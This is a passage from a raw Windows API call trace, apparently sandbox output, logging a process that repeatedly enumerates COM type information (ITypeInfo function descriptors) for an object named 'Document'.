[6]=0x0, [7]=0x46)), ppvObject=0xbcb38f5828 | out: ppvObject=0xbcb38f5828*=0x2885d2711b8) returned 0x0 [0071.378] ITypeInfo2:GetCustData (in: This=0x2885d2711b8, GUID=0x7ff9bdf05de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xbcb38f5838 | out: pVarVal=0xbcb38f5838*(varType=0x0, wReserved1=0xb38f, wReserved2=0xbc, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0071.378] IUnknown:Release (This=0x2885d2711b8) returned 0x2 [0071.378] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f5830, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f5850 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f5850*="宠뎏¼") returned 0x0 [0071.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xbcb38f5740, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0071.378] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0071.378] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5830, pDummy=0x0 | out: ppTypeAttr=0xbcb38f5830, pDummy=0x0) returned 0x0 [0071.378] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x10, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x11, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x12, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.379] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.379] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x13, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x14, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x15, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x16, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x17, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x18, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x19, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x20, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x21, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x22, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x23, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x24, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x25, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.380] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x26, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.380] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x27, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x28, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x29, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x30, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x31, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x32, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x33, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.381] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.381] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x34, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x35, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x36, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x37, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x38, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x39, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x40, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x41, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x42, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x43, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x44, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x45, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x46, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.382] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.382] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x47, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x48, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x49, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x50, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x51, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x52, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x53, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x54, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x55, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x56, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x57, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x58, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x59, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.383] ITypeInfo:RemoteGetFuncDesc 